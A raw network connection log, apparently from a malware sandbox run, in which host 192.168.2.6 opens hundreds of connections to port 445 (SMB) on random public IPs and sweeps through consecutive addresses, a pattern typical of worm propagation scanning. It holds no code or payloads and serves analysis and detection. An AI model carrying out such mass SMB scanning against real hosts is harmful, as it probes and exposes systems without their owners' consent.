Jul 20, 2022 06:09:11.069705009 CEST	57752	445	192.168.2.6	176.241.42.98
Jul 20, 2022 06:09:11.070491076 CEST	57753	445	192.168.2.6	178.159.42.125
Jul 20, 2022 06:09:11.071263075 CEST	57754	445	192.168.2.6	37.21.160.125
Jul 20, 2022 06:09:11.098325968 CEST	445	57753	178.159.42.125	192.168.2.6
Jul 20, 2022 06:09:11.098431110 CEST	57753	445	192.168.2.6	178.159.42.125
Jul 20, 2022 06:09:11.098596096 CEST	57753	445	192.168.2.6	178.159.42.125
Jul 20, 2022 06:09:11.100358009 CEST	57755	445	192.168.2.6	164.94.229.188
Jul 20, 2022 06:09:11.102498055 CEST	57756	445	192.168.2.6	178.159.42.125
Jul 20, 2022 06:09:11.127162933 CEST	57757	445	192.168.2.6	27.218.3.222
Jul 20, 2022 06:09:11.127193928 CEST	57758	445	192.168.2.6	77.12.119.122
Jul 20, 2022 06:09:11.127350092 CEST	445	57753	178.159.42.125	192.168.2.6
Jul 20, 2022 06:09:11.127373934 CEST	445	57753	178.159.42.125	192.168.2.6
Jul 20, 2022 06:09:11.127465963 CEST	57764	445	192.168.2.6	3.48.17.155
Jul 20, 2022 06:09:11.130134106 CEST	445	57756	178.159.42.125	192.168.2.6
Jul 20, 2022 06:09:11.130229950 CEST	57756	445	192.168.2.6	178.159.42.125
Jul 20, 2022 06:09:11.130408049 CEST	57756	445	192.168.2.6	178.159.42.125
Jul 20, 2022 06:09:11.148432016 CEST	57768	445	192.168.2.6	217.229.29.128
Jul 20, 2022 06:09:11.157799959 CEST	445	57756	178.159.42.125	192.168.2.6
Jul 20, 2022 06:09:11.158035994 CEST	57756	445	192.168.2.6	178.159.42.125
Jul 20, 2022 06:09:11.185635090 CEST	445	57756	178.159.42.125	192.168.2.6
Jul 20, 2022 06:09:11.185812950 CEST	57756	445	192.168.2.6	178.159.42.125
Jul 20, 2022 06:09:11.212631941 CEST	445	57756	178.159.42.125	192.168.2.6
Jul 20, 2022 06:09:11.212842941 CEST	57756	445	192.168.2.6	178.159.42.125
Jul 20, 2022 06:09:11.240408897 CEST	445	57756	178.159.42.125	192.168.2.6
Jul 20, 2022 06:09:11.240603924 CEST	57756	445	192.168.2.6	178.159.42.125
Jul 20, 2022 06:09:11.257267952 CEST	57775	445	192.168.2.6	79.177.111.135
Jul 20, 2022 06:09:11.263590097 CEST	57779	445	192.168.2.6	117.93.189.160
Jul 20, 2022 06:09:11.263734102 CEST	57782	445	192.168.2.6	69.189.0.179
Jul 20, 2022 06:09:11.264517069 CEST	57784	445	192.168.2.6	44.147.147.191
Jul 20, 2022 06:09:11.267380953 CEST	445	57756	178.159.42.125	192.168.2.6
Jul 20, 2022 06:09:11.268192053 CEST	445	57756	178.159.42.125	192.168.2.6
Jul 20, 2022 06:09:11.298302889 CEST	57794	445	192.168.2.6	25.223.252.209
Jul 20, 2022 06:09:11.298475981 CEST	57796	445	192.168.2.6	222.73.253.251
Jul 20, 2022 06:09:11.298563957 CEST	57797	445	192.168.2.6	83.123.213.45
Jul 20, 2022 06:09:11.298654079 CEST	57798	445	192.168.2.6	65.113.130.125
Jul 20, 2022 06:09:11.298847914 CEST	57799	445	192.168.2.6	77.144.9.90
Jul 20, 2022 06:09:11.299160004 CEST	57806	445	192.168.2.6	158.243.95.65
Jul 20, 2022 06:09:11.299223900 CEST	57800	445	192.168.2.6	14.152.141.236
Jul 20, 2022 06:09:11.299258947 CEST	57807	445	192.168.2.6	126.66.194.86
Jul 20, 2022 06:09:11.299376011 CEST	57809	445	192.168.2.6	77.241.106.84
Jul 20, 2022 06:09:11.300565004 CEST	57810	445	192.168.2.6	107.186.37.20
Jul 20, 2022 06:09:11.380641937 CEST	57036	445	192.168.2.6	134.220.131.2
Jul 20, 2022 06:09:11.450628042 CEST	57813	445	192.168.2.6	134.220.131.3
Jul 20, 2022 06:09:11.470009089 CEST	445	57810	107.186.37.20	192.168.2.6
Jul 20, 2022 06:09:11.472738028 CEST	57810	445	192.168.2.6	107.186.37.20
Jul 20, 2022 06:09:11.472918034 CEST	57810	445	192.168.2.6	107.186.37.20
Jul 20, 2022 06:09:11.483350039 CEST	445	57813	134.220.131.3	192.168.2.6
Jul 20, 2022 06:09:11.483462095 CEST	57813	445	192.168.2.6	134.220.131.3
Jul 20, 2022 06:09:11.485800982 CEST	57814	445	192.168.2.6	134.220.131.3
Jul 20, 2022 06:09:11.518347025 CEST	445	57814	134.220.131.3	192.168.2.6
Jul 20, 2022 06:09:11.518471956 CEST	57814	445	192.168.2.6	134.220.131.3
Jul 20, 2022 06:09:11.641985893 CEST	445	57810	107.186.37.20	192.168.2.6
Jul 20, 2022 06:09:11.642147064 CEST	57810	445	192.168.2.6	107.186.37.20
Jul 20, 2022 06:09:11.786941051 CEST	57813	445	192.168.2.6	134.220.131.3
Jul 20, 2022 06:09:11.813891888 CEST	445	57810	107.186.37.20	192.168.2.6
Jul 20, 2022 06:09:11.814076900 CEST	57810	445	192.168.2.6	107.186.37.20
Jul 20, 2022 06:09:11.818198919 CEST	57814	445	192.168.2.6	134.220.131.3
Jul 20, 2022 06:09:11.983230114 CEST	445	57810	107.186.37.20	192.168.2.6
Jul 20, 2022 06:09:12.037043095 CEST	57813	445	192.168.2.6	134.220.131.3
Jul 20, 2022 06:09:12.058242083 CEST	57824	445	192.168.2.6	17.83.162.22
Jul 20, 2022 06:09:12.083931923 CEST	57814	445	192.168.2.6	134.220.131.3
Jul 20, 2022 06:09:12.180636883 CEST	57831	445	192.168.2.6	8.62.86.60
Jul 20, 2022 06:09:12.181997061 CEST	57833	445	192.168.2.6	176.241.42.99
Jul 20, 2022 06:09:12.182727098 CEST	57834	445	192.168.2.6	37.21.160.126
Jul 20, 2022 06:09:12.184253931 CEST	57836	445	192.168.2.6	19.139.6.87
Jul 20, 2022 06:09:12.186352015 CEST	57839	445	192.168.2.6	206.92.25.155
Jul 20, 2022 06:09:12.189016104 CEST	57843	445	192.168.2.6	143.222.86.71
Jul 20, 2022 06:09:12.198523998 CEST	57846	445	192.168.2.6	107.186.37.21
Jul 20, 2022 06:09:12.307805061 CEST	57852	445	192.168.2.6	80.208.241.45
Jul 20, 2022 06:09:12.307868958 CEST	57855	445	192.168.2.6	220.242.210.199
Jul 20, 2022 06:09:12.308028936 CEST	57861	445	192.168.2.6	186.176.222.6
Jul 20, 2022 06:09:12.308069944 CEST	57862	445	192.168.2.6	112.216.211.236
Jul 20, 2022 06:09:12.308226109 CEST	57863	445	192.168.2.6	167.149.184.181
Jul 20, 2022 06:09:12.369235992 CEST	445	57846	107.186.37.21	192.168.2.6
Jul 20, 2022 06:09:12.369359970 CEST	57846	445	192.168.2.6	107.186.37.21
Jul 20, 2022 06:09:12.369546890 CEST	57846	445	192.168.2.6	107.186.37.21
Jul 20, 2022 06:09:12.373536110 CEST	57865	445	192.168.2.6	107.186.37.21
Jul 20, 2022 06:09:12.397846937 CEST	57870	445	192.168.2.6	17.243.168.109
Jul 20, 2022 06:09:12.398539066 CEST	57871	445	192.168.2.6	48.233.130.119
Jul 20, 2022 06:09:12.434755087 CEST	57877	445	192.168.2.6	128.185.173.121
Jul 20, 2022 06:09:12.434990883 CEST	57878	445	192.168.2.6	169.253.85.254
Jul 20, 2022 06:09:12.435195923 CEST	57879	445	192.168.2.6	208.246.133.65
Jul 20, 2022 06:09:12.435364962 CEST	57880	445	192.168.2.6	78.188.106.29
Jul 20, 2022 06:09:12.435513973 CEST	57881	445	192.168.2.6	106.1.233.44
Jul 20, 2022 06:09:12.435818911 CEST	57883	445	192.168.2.6	22.80.225.189
Jul 20, 2022 06:09:12.436747074 CEST	57891	445	192.168.2.6	30.172.189.102
Jul 20, 2022 06:09:12.440711021 CEST	57896	445	192.168.2.6	176.183.165.37
Jul 20, 2022 06:09:12.441009045 CEST	57899	445	192.168.2.6	203.45.40.148
Jul 20, 2022 06:09:12.441204071 CEST	57900	445	192.168.2.6	162.230.154.145
Jul 20, 2022 06:09:12.468816996 CEST	57901	445	192.168.2.6	111.195.51.235
Jul 20, 2022 06:09:12.539942026 CEST	445	57846	107.186.37.21	192.168.2.6
Jul 20, 2022 06:09:12.539967060 CEST	445	57846	107.186.37.21	192.168.2.6
Jul 20, 2022 06:09:12.541464090 CEST	445	57865	107.186.37.21	192.168.2.6
Jul 20, 2022 06:09:12.541553020 CEST	57865	445	192.168.2.6	107.186.37.21
Jul 20, 2022 06:09:12.541810989 CEST	57865	445	192.168.2.6	107.186.37.21
Jul 20, 2022 06:09:12.646385908 CEST	57813	445	192.168.2.6	134.220.131.3
Jul 20, 2022 06:09:12.693294048 CEST	57814	445	192.168.2.6	134.220.131.3
Jul 20, 2022 06:09:12.712531090 CEST	445	57865	107.186.37.21	192.168.2.6
Jul 20, 2022 06:09:12.755769968 CEST	57865	445	192.168.2.6	107.186.37.21
Jul 20, 2022 06:09:12.789966106 CEST	57865	445	192.168.2.6	107.186.37.21
Jul 20, 2022 06:09:12.960535049 CEST	445	57865	107.186.37.21	192.168.2.6
Jul 20, 2022 06:09:13.005853891 CEST	57865	445	192.168.2.6	107.186.37.21
Jul 20, 2022 06:09:13.044294119 CEST	57865	445	192.168.2.6	107.186.37.21
Jul 20, 2022 06:09:13.212707996 CEST	445	57865	107.186.37.21	192.168.2.6
Jul 20, 2022 06:09:13.240267038 CEST	57914	445	192.168.2.6	27.194.44.157
Jul 20, 2022 06:09:13.288089991 CEST	57917	445	192.168.2.6	37.21.160.127
Jul 20, 2022 06:09:13.288520098 CEST	57918	445	192.168.2.6	176.241.42.100
Jul 20, 2022 06:09:13.355317116 CEST	57921	445	192.168.2.6	201.112.103.49
Jul 20, 2022 06:09:13.357175112 CEST	57925	445	192.168.2.6	67.101.160.33
Jul 20, 2022 06:09:13.358596087 CEST	57928	445	192.168.2.6	35.116.94.156
Jul 20, 2022 06:09:13.359945059 CEST	57931	445	192.168.2.6	205.114.36.221
Jul 20, 2022 06:09:13.467000961 CEST	57944	445	192.168.2.6	37.177.171.195
Jul 20, 2022 06:09:13.467545033 CEST	57945	445	192.168.2.6	185.57.25.209
Jul 20, 2022 06:09:13.470258951 CEST	57951	445	192.168.2.6	212.248.124.30
Jul 20, 2022 06:09:13.470784903 CEST	57952	445	192.168.2.6	101.79.135.249
Jul 20, 2022 06:09:13.471293926 CEST	57953	445	192.168.2.6	41.13.93.206
Jul 20, 2022 06:09:13.569318056 CEST	57957	445	192.168.2.6	180.23.229.147
Jul 20, 2022 06:09:13.570676088 CEST	57958	445	192.168.2.6	42.164.248.126
Jul 20, 2022 06:09:13.571667910 CEST	57960	445	192.168.2.6	91.169.147.247
Jul 20, 2022 06:09:13.575299978 CEST	57968	445	192.168.2.6	136.163.151.138
Jul 20, 2022 06:09:13.577725887 CEST	57973	445	192.168.2.6	42.26.128.155
Jul 20, 2022 06:09:13.579231977 CEST	57976	445	192.168.2.6	51.12.112.1
Jul 20, 2022 06:09:13.579767942 CEST	57977	445	192.168.2.6	45.111.100.211
Jul 20, 2022 06:09:13.580281973 CEST	57978	445	192.168.2.6	197.170.57.60
Jul 20, 2022 06:09:13.580755949 CEST	57979	445	192.168.2.6	179.108.147.114
Jul 20, 2022 06:09:13.581248045 CEST	57980	445	192.168.2.6	213.154.160.233
Jul 20, 2022 06:09:13.581746101 CEST	57981	445	192.168.2.6	165.151.55.141
Jul 20, 2022 06:09:13.590841055 CEST	57987	445	192.168.2.6	10.243.90.99
Jul 20, 2022 06:09:13.591423035 CEST	57988	445	192.168.2.6	204.209.53.119
Jul 20, 2022 06:09:13.849646091 CEST	57813	445	192.168.2.6	134.220.131.3
Jul 20, 2022 06:09:13.896550894 CEST	57814	445	192.168.2.6	134.220.131.3
Jul 20, 2022 06:09:14.315953970 CEST	57994	445	192.168.2.6	178.159.42.125
Jul 20, 2022 06:09:14.342969894 CEST	445	57994	178.159.42.125	192.168.2.6
Jul 20, 2022 06:09:14.343287945 CEST	57994	445	192.168.2.6	178.159.42.125
Jul 20, 2022 06:09:14.380630016 CEST	57994	445	192.168.2.6	178.159.42.125
Jul 20, 2022 06:09:14.383042097 CEST	57995	445	192.168.2.6	37.21.160.128
Jul 20, 2022 06:09:14.393681049 CEST	57996	445	192.168.2.6	176.241.42.101
Jul 20, 2022 06:09:14.408183098 CEST	445	57994	178.159.42.125	192.168.2.6
Jul 20, 2022 06:09:14.460736990 CEST	57994	445	192.168.2.6	178.159.42.125
Jul 20, 2022 06:09:14.488266945 CEST	445	57994	178.159.42.125	192.168.2.6
Jul 20, 2022 06:09:14.572773933 CEST	57994	445	192.168.2.6	178.159.42.125
Jul 20, 2022 06:09:14.608951092 CEST	57994	445	192.168.2.6	178.159.42.125
Jul 20, 2022 06:09:14.637161970 CEST	445	57994	178.159.42.125	192.168.2.6
Jul 20, 2022 06:09:14.638096094 CEST	57994	445	192.168.2.6	178.159.42.125
Jul 20, 2022 06:09:14.642604113 CEST	57997	445	192.168.2.6	40.150.240.90
Jul 20, 2022 06:09:14.643004894 CEST	58009	445	192.168.2.6	214.209.12.206
Jul 20, 2022 06:09:14.643232107 CEST	58016	445	192.168.2.6	113.205.76.89
Jul 20, 2022 06:09:14.643377066 CEST	58020	445	192.168.2.6	28.59.236.149
Jul 20, 2022 06:09:14.643507957 CEST	58023	445	192.168.2.6	182.223.196.24
Jul 20, 2022 06:09:14.643588066 CEST	58025	445	192.168.2.6	189.249.108.94
Jul 20, 2022 06:09:14.643663883 CEST	58026	445	192.168.2.6	118.221.168.142
Jul 20, 2022 06:09:14.643861055 CEST	58032	445	192.168.2.6	43.74.194.28
Jul 20, 2022 06:09:14.643918037 CEST	58033	445	192.168.2.6	128.87.127.22
Jul 20, 2022 06:09:14.667190075 CEST	445	57994	178.159.42.125	192.168.2.6
Jul 20, 2022 06:09:14.717767954 CEST	57994	445	192.168.2.6	178.159.42.125
Jul 20, 2022 06:09:14.724231005 CEST	58042	445	192.168.2.6	117.177.62.228
Jul 20, 2022 06:09:14.726680040 CEST	58046	445	192.168.2.6	88.254.180.14
Jul 20, 2022 06:09:14.727194071 CEST	58047	445	192.168.2.6	68.41.59.66
Jul 20, 2022 06:09:14.729482889 CEST	58052	445	192.168.2.6	34.135.83.44
Jul 20, 2022 06:09:14.733349085 CEST	58060	445	192.168.2.6	38.56.36.184
Jul 20, 2022 06:09:14.734302998 CEST	58062	445	192.168.2.6	125.129.25.85
Jul 20, 2022 06:09:14.735686064 CEST	58065	445	192.168.2.6	43.52.93.192
Jul 20, 2022 06:09:14.736221075 CEST	58066	445	192.168.2.6	184.251.100.51
Jul 20, 2022 06:09:14.736684084 CEST	58067	445	192.168.2.6	104.66.160.10
Jul 20, 2022 06:09:14.737190962 CEST	58068	445	192.168.2.6	212.154.106.227
Jul 20, 2022 06:09:14.737704992 CEST	58069	445	192.168.2.6	33.40.96.226
Jul 20, 2022 06:09:14.738209009 CEST	58070	445	192.168.2.6	107.60.45.145
Jul 20, 2022 06:09:14.743745089 CEST	58075	445	192.168.2.6	222.150.205.5
Jul 20, 2022 06:09:14.744451046 CEST	58076	445	192.168.2.6	163.96.47.231
Jul 20, 2022 06:09:14.744503021 CEST	445	57994	178.159.42.125	192.168.2.6
Jul 20, 2022 06:09:14.744951010 CEST	445	57994	178.159.42.125	192.168.2.6
Jul 20, 2022 06:09:14.837771893 CEST	58081	445	192.168.2.6	178.159.42.126
Jul 20, 2022 06:09:14.864453077 CEST	445	58081	178.159.42.126	192.168.2.6
Jul 20, 2022 06:09:15.381104946 CEST	58081	445	192.168.2.6	178.159.42.126
Jul 20, 2022 06:09:15.407833099 CEST	445	58081	178.159.42.126	192.168.2.6
Jul 20, 2022 06:09:15.788422108 CEST	57033	445	192.168.2.6	128.110.36.2
Jul 20, 2022 06:09:15.896759033 CEST	57035	445	192.168.2.6	128.110.36.2
Jul 20, 2022 06:09:15.920717955 CEST	58083	445	192.168.2.6	176.241.42.102
Jul 20, 2022 06:09:15.920763969 CEST	58084	445	192.168.2.6	37.21.160.129
Jul 20, 2022 06:09:15.920866966 CEST	58085	445	192.168.2.6	55.84.157.75
Jul 20, 2022 06:09:15.922157049 CEST	58097	445	192.168.2.6	217.52.9.79
Jul 20, 2022 06:09:15.922401905 CEST	58104	445	192.168.2.6	41.79.245.146
Jul 20, 2022 06:09:15.922586918 CEST	58108	445	192.168.2.6	8.93.196.143
Jul 20, 2022 06:09:15.922732115 CEST	58111	445	192.168.2.6	200.199.188.50
Jul 20, 2022 06:09:15.922794104 CEST	58113	445	192.168.2.6	55.77.142.59
Jul 20, 2022 06:09:15.922893047 CEST	58114	445	192.168.2.6	153.44.159.10
Jul 20, 2022 06:09:15.923135042 CEST	58120	445	192.168.2.6	33.116.194.181
Jul 20, 2022 06:09:15.923146963 CEST	58121	445	192.168.2.6	150.46.28.184
Jul 20, 2022 06:09:16.076390982 CEST	58127	445	192.168.2.6	164.41.114.13
Jul 20, 2022 06:09:16.076514959 CEST	58128	445	192.168.2.6	175.2.135.17
Jul 20, 2022 06:09:16.076708078 CEST	58133	445	192.168.2.6	133.11.168.124
Jul 20, 2022 06:09:16.076944113 CEST	58141	445	192.168.2.6	59.240.143.130
Jul 20, 2022 06:09:16.077089071 CEST	58145	445	192.168.2.6	99.145.66.37
Jul 20, 2022 06:09:16.077172041 CEST	58146	445	192.168.2.6	179.49.142.68
Jul 20, 2022 06:09:16.077240944 CEST	58147	445	192.168.2.6	101.228.83.22
Jul 20, 2022 06:09:16.077302933 CEST	58148	445	192.168.2.6	118.244.59.156
Jul 20, 2022 06:09:16.077362061 CEST	58149	445	192.168.2.6	60.47.168.208
Jul 20, 2022 06:09:16.077441931 CEST	58150	445	192.168.2.6	34.45.17.203
Jul 20, 2022 06:09:16.077831030 CEST	58161	445	192.168.2.6	140.82.17.220
Jul 20, 2022 06:09:16.079993010 CEST	58162	445	192.168.2.6	52.22.0.189
Jul 20, 2022 06:09:16.080059052 CEST	58163	445	192.168.2.6	171.253.253.189
Jul 20, 2022 06:09:16.081048965 CEST	58166	445	192.168.2.6	67.55.62.158
Jul 20, 2022 06:09:16.081541061 CEST	58167	445	192.168.2.6	178.159.42.127
Jul 20, 2022 06:09:16.241410971 CEST	58172	445	192.168.2.6	107.186.37.21
Jul 20, 2022 06:09:16.318593025 CEST	57813	445	192.168.2.6	134.220.131.3
Jul 20, 2022 06:09:16.319874048 CEST	57814	445	192.168.2.6	134.220.131.3
Jul 20, 2022 06:09:16.412374020 CEST	445	58172	107.186.37.21	192.168.2.6
Jul 20, 2022 06:09:16.412468910 CEST	58172	445	192.168.2.6	107.186.37.21
Jul 20, 2022 06:09:16.412671089 CEST	58172	445	192.168.2.6	107.186.37.21
Jul 20, 2022 06:09:16.583626032 CEST	445	58172	107.186.37.21	192.168.2.6
Jul 20, 2022 06:09:16.595793962 CEST	58172	445	192.168.2.6	107.186.37.21
Jul 20, 2022 06:09:16.767069101 CEST	445	58172	107.186.37.21	192.168.2.6
Jul 20, 2022 06:09:16.792695045 CEST	58172	445	192.168.2.6	107.186.37.21
Jul 20, 2022 06:09:16.963668108 CEST	445	58172	107.186.37.21	192.168.2.6
Jul 20, 2022 06:09:16.991185904 CEST	58174	445	192.168.2.6	176.241.42.103
Jul 20, 2022 06:09:16.991947889 CEST	58175	445	192.168.2.6	37.21.160.130
Jul 20, 2022 06:09:17.022491932 CEST	58176	445	192.168.2.6	107.186.37.22
Jul 20, 2022 06:09:17.065197945 CEST	58178	445	192.168.2.6	50.207.111.143
Jul 20, 2022 06:09:17.066050053 CEST	58190	445	192.168.2.6	53.88.113.188
Jul 20, 2022 06:09:17.066216946 CEST	58196	445	192.168.2.6	132.20.138.121
Jul 20, 2022 06:09:17.066294909 CEST	58199	445	192.168.2.6	130.13.64.37
Jul 20, 2022 06:09:17.066354036 CEST	58201	445	192.168.2.6	66.65.196.107
Jul 20, 2022 06:09:17.066409111 CEST	58203	445	192.168.2.6	214.166.208.86
Jul 20, 2022 06:09:17.066494942 CEST	58206	445	192.168.2.6	117.5.222.44
Jul 20, 2022 06:09:17.066648006 CEST	58212	445	192.168.2.6	125.25.4.203
Jul 20, 2022 06:09:17.066674948 CEST	58213	445	192.168.2.6	96.113.171.89
Jul 20, 2022 06:09:17.148109913 CEST	58216	445	192.168.2.6	178.159.42.128
Jul 20, 2022 06:09:17.193432093 CEST	445	58176	107.186.37.22	192.168.2.6
Jul 20, 2022 06:09:17.195790052 CEST	58176	445	192.168.2.6	107.186.37.22
Jul 20, 2022 06:09:17.195993900 CEST	58176	445	192.168.2.6	107.186.37.22
Jul 20, 2022 06:09:17.197624922 CEST	58221	445	192.168.2.6	98.81.68.173
Jul 20, 2022 06:09:17.197746992 CEST	58220	445	192.168.2.6	162.95.187.10
Jul 20, 2022 06:09:17.200191021 CEST	58226	445	192.168.2.6	137.246.85.243
Jul 20, 2022 06:09:17.203839064 CEST	58234	445	192.168.2.6	219.196.152.48
Jul 20, 2022 06:09:17.205987930 CEST	58238	445	192.168.2.6	196.235.153.77
Jul 20, 2022 06:09:17.206531048 CEST	58239	445	192.168.2.6	193.12.237.179
Jul 20, 2022 06:09:17.207052946 CEST	58240	445	192.168.2.6	58.126.151.197
Jul 20, 2022 06:09:17.207546949 CEST	58241	445	192.168.2.6	198.170.157.68
Jul 20, 2022 06:09:17.208030939 CEST	58242	445	192.168.2.6	161.7.221.6
Jul 20, 2022 06:09:17.208512068 CEST	58243	445	192.168.2.6	110.253.132.163
Jul 20, 2022 06:09:17.216851950 CEST	58254	445	192.168.2.6	70.129.153.39
Jul 20, 2022 06:09:17.216926098 CEST	58255	445	192.168.2.6	32.160.204.147
Jul 20, 2022 06:09:17.217087030 CEST	58256	445	192.168.2.6	57.130.123.185
Jul 20, 2022 06:09:17.217119932 CEST	58259	445	192.168.2.6	219.209.40.250
Jul 20, 2022 06:09:17.221219063 CEST	58264	445	192.168.2.6	107.186.37.22
Jul 20, 2022 06:09:17.367288113 CEST	445	58176	107.186.37.22	192.168.2.6
Jul 20, 2022 06:09:17.367311954 CEST	445	58176	107.186.37.22	192.168.2.6
Jul 20, 2022 06:09:17.392899990 CEST	445	58264	107.186.37.22	192.168.2.6
Jul 20, 2022 06:09:17.393003941 CEST	58264	445	192.168.2.6	107.186.37.22
Jul 20, 2022 06:09:17.393198013 CEST	58264	445	192.168.2.6	107.186.37.22
Jul 20, 2022 06:09:17.563955069 CEST	445	58264	107.186.37.22	192.168.2.6
Jul 20, 2022 06:09:17.564169884 CEST	58264	445	192.168.2.6	107.186.37.22
Jul 20, 2022 06:09:17.735496998 CEST	445	58264	107.186.37.22	192.168.2.6
Jul 20, 2022 06:09:17.735740900 CEST	58264	445	192.168.2.6	107.186.37.22
Jul 20, 2022 06:09:17.906342983 CEST	445	58264	107.186.37.22	192.168.2.6
Jul 20, 2022 06:09:18.069798946 CEST	58267	445	192.168.2.6	37.21.160.131
Jul 20, 2022 06:09:18.070067883 CEST	58268	445	192.168.2.6	176.241.42.104
Jul 20, 2022 06:09:18.166332006 CEST	58271	445	192.168.2.6	33.49.6.52
Jul 20, 2022 06:09:18.207262039 CEST	58274	445	192.168.2.6	183.148.18.90
Jul 20, 2022 06:09:18.208367109 CEST	58276	445	192.168.2.6	161.246.114.180
Jul 20, 2022 06:09:18.208436966 CEST	58278	445	192.168.2.6	179.5.227.193
Jul 20, 2022 06:09:18.208575964 CEST	58281	445	192.168.2.6	29.17.180.167
Jul 20, 2022 06:09:18.208751917 CEST	58287	445	192.168.2.6	208.231.33.96
Jul 20, 2022 06:09:18.209198952 CEST	58300	445	192.168.2.6	104.83.56.131
Jul 20, 2022 06:09:18.209306002 CEST	58302	445	192.168.2.6	4.222.115.34
Jul 20, 2022 06:09:18.214082956 CEST	58305	445	192.168.2.6	63.151.201.129
Jul 20, 2022 06:09:18.214879990 CEST	58308	445	192.168.2.6	178.159.42.129
Jul 20, 2022 06:09:18.323867083 CEST	58311	445	192.168.2.6	79.50.5.66
Jul 20, 2022 06:09:18.326756954 CEST	58313	445	192.168.2.6	220.46.40.197
Jul 20, 2022 06:09:18.329607010 CEST	58318	445	192.168.2.6	66.109.142.174
Jul 20, 2022 06:09:18.333277941 CEST	58325	445	192.168.2.6	51.33.221.63
Jul 20, 2022 06:09:18.336069107 CEST	58330	445	192.168.2.6	2.25.201.162
Jul 20, 2022 06:09:18.336654902 CEST	58331	445	192.168.2.6	11.166.186.190
Jul 20, 2022 06:09:18.337169886 CEST	58332	445	192.168.2.6	188.45.136.155
Jul 20, 2022 06:09:18.337686062 CEST	58333	445	192.168.2.6	152.215.205.69
Jul 20, 2022 06:09:18.338165998 CEST	58334	445	192.168.2.6	97.97.103.65
Jul 20, 2022 06:09:18.338690042 CEST	58335	445	192.168.2.6	190.253.203.205
Jul 20, 2022 06:09:18.343889952 CEST	58341	445	192.168.2.6	84.31.9.136
Jul 20, 2022 06:09:18.345362902 CEST	58344	445	192.168.2.6	203.76.217.149
Jul 20, 2022 06:09:18.345871925 CEST	58345	445	192.168.2.6	91.139.188.201
Jul 20, 2022 06:09:18.346395016 CEST	58346	445	192.168.2.6	66.253.81.22
Jul 20, 2022 06:09:18.926568031 CEST	58357	445	192.168.2.6	128.110.36.2
Jul 20, 2022 06:09:19.073749065 CEST	445	58357	128.110.36.2	192.168.2.6
Jul 20, 2022 06:09:19.073874950 CEST	58357	445	192.168.2.6	128.110.36.2
Jul 20, 2022 06:09:19.148286104 CEST	58359	445	192.168.2.6	37.21.160.132
Jul 20, 2022 06:09:19.148855925 CEST	58360	445	192.168.2.6	176.241.42.105
Jul 20, 2022 06:09:19.198585033 CEST	445	58360	176.241.42.105	192.168.2.6
Jul 20, 2022 06:09:19.272990942 CEST	58361	445	192.168.2.6	178.159.42.130
Jul 20, 2022 06:09:19.292854071 CEST	58364	445	192.168.2.6	68.39.58.156
Jul 20, 2022 06:09:19.300182104 CEST	445	58361	178.159.42.130	192.168.2.6
Jul 20, 2022 06:09:19.304441929 CEST	58367	445	192.168.2.6	30.61.224.177
Jul 20, 2022 06:09:19.372559071 CEST	58372	445	192.168.2.6	25.11.124.196
Jul 20, 2022 06:09:19.372594118 CEST	58375	445	192.168.2.6	100.164.251.19
Jul 20, 2022 06:09:19.372719049 CEST	58377	445	192.168.2.6	122.154.185.162
Jul 20, 2022 06:09:19.373563051 CEST	58389	445	192.168.2.6	105.32.215.160
Jul 20, 2022 06:09:19.373843908 CEST	58394	445	192.168.2.6	47.51.10.16
Jul 20, 2022 06:09:19.374227047 CEST	58398	445	192.168.2.6	197.30.246.21
Jul 20, 2022 06:09:19.382657051 CEST	58400	445	192.168.2.6	163.101.41.98
Jul 20, 2022 06:09:19.481801987 CEST	58407	445	192.168.2.6	182.0.188.118
Jul 20, 2022 06:09:19.481822968 CEST	58408	445	192.168.2.6	176.244.119.84
Jul 20, 2022 06:09:19.482053995 CEST	58411	445	192.168.2.6	96.180.8.186
Jul 20, 2022 06:09:19.482234001 CEST	58413	445	192.168.2.6	87.206.136.73
Jul 20, 2022 06:09:19.482589960 CEST	58419	445	192.168.2.6	60.97.250.173
Jul 20, 2022 06:09:19.482619047 CEST	58420	445	192.168.2.6	212.44.170.19
Jul 20, 2022 06:09:19.482753038 CEST	58422	445	192.168.2.6	21.210.155.36
Jul 20, 2022 06:09:19.482805014 CEST	58421	445	192.168.2.6	80.179.101.67
Jul 20, 2022 06:09:19.482959986 CEST	58424	445	192.168.2.6	52.159.100.32
Jul 20, 2022 06:09:19.482985020 CEST	58423	445	192.168.2.6	42.27.208.120
Jul 20, 2022 06:09:19.483130932 CEST	58427	445	192.168.2.6	118.75.54.79
Jul 20, 2022 06:09:19.483280897 CEST	58429	445	192.168.2.6	179.214.27.155
Jul 20, 2022 06:09:19.483423948 CEST	58434	445	192.168.2.6	24.127.4.53
Jul 20, 2022 06:09:19.483736992 CEST	58441	445	192.168.2.6	55.163.174.204
Jul 20, 2022 06:09:19.584597111 CEST	58357	445	192.168.2.6	128.110.36.2
Jul 20, 2022 06:09:19.709481955 CEST	58360	445	192.168.2.6	176.241.42.105
Jul 20, 2022 06:09:19.763206959 CEST	445	58360	176.241.42.105	192.168.2.6
Jul 20, 2022 06:09:19.881460905 CEST	58361	445	192.168.2.6	178.159.42.130
Jul 20, 2022 06:09:19.910368919 CEST	445	58361	178.159.42.130	192.168.2.6
Jul 20, 2022 06:09:20.084546089 CEST	58357	445	192.168.2.6	128.110.36.2
Jul 20, 2022 06:09:20.210571051 CEST	58451	445	192.168.2.6	176.241.42.106
Jul 20, 2022 06:09:20.210602045 CEST	58452	445	192.168.2.6	37.21.160.133
Jul 20, 2022 06:09:20.351819038 CEST	58453	445	192.168.2.6	178.159.42.131
Jul 20, 2022 06:09:20.414988041 CEST	58456	445	192.168.2.6	56.30.80.106
Jul 20, 2022 06:09:20.429174900 CEST	58459	445	192.168.2.6	108.141.46.154
Jul 20, 2022 06:09:20.511030912 CEST	58466	445	192.168.2.6	52.202.194.115
Jul 20, 2022 06:09:20.512574911 CEST	58468	445	192.168.2.6	71.185.245.126
Jul 20, 2022 06:09:20.513906956 CEST	58470	445	192.168.2.6	110.49.165.14
Jul 20, 2022 06:09:20.521070957 CEST	58481	445	192.168.2.6	95.184.234.60
Jul 20, 2022 06:09:20.551806927 CEST	58487	445	192.168.2.6	141.188.161.199
Jul 20, 2022 06:09:20.551914930 CEST	58490	445	192.168.2.6	171.123.53.192
Jul 20, 2022 06:09:20.553518057 CEST	58491	445	192.168.2.6	66.234.33.192
Jul 20, 2022 06:09:20.619654894 CEST	58494	445	192.168.2.6	198.123.66.174
Jul 20, 2022 06:09:20.621395111 CEST	58496	445	192.168.2.6	152.247.169.168
Jul 20, 2022 06:09:20.621689081 CEST	58502	445	192.168.2.6	190.116.242.88
